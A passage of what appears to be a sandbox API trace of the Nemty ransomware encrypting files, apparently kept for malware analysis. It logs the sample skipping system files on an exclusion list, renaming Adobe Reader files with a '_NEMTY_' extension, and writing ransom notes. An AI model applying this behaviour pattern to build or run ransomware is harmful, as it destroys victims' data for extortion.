(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.996] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.996] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a21b7f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a21b7f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a241950, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.996] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.996] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.996] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.996] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.996] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.997] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0171.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.998] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a21b7f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a21b7f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a241950, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.998] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.998] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RUM", cAlternateFileName="")) returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2=".") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="..") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="...") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="windows") returned -1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="$RECYCLE.BIN") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="rsa") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="NTDETECT.COM") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="ntldr") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="MSDOS.SYS") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="IO.SYS") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="boot.ini") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="boot.ini") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="AUTOEXEC.BAT") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="ntuser.dat") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="desktop.ini") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="CONFIG.SYS") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="RECYCLER") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="BOOTSECT.BAK") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="bootmgr") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="programdata") returned 1 [0171.998] lstrcmpiW (lpString1="RUM", lpString2="appdata") returned 1 [0171.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUM", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUM", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RUM", lpUsedDefaultChar=0x0) returned 3 [0171.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUM", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RUM", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RUM", lpUsedDefaultChar=0x0) returned 3 [0171.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0171.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.999] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.017] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.017] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.018] CloseHandle (hObject=0x254) returned 1 [0172.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0172.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.019] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.019] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.020] CloseHandle (hObject=0x254) returned 1 [0172.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.020] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a2b3d70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a2b3d70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.020] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.020] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a2b3d70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a2b3d70, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.020] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.020] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.020] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5891, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0172.020] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0172.020] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0172.020] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0172.020] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0172.020] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.020] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0172.020] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.020] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0172.020] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.020] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0172.020] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.020] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.021] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0172.021] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0172.021] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0172.021] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0172.021] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0172.021] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0172.021] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0172.021] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0172.021] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0172.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 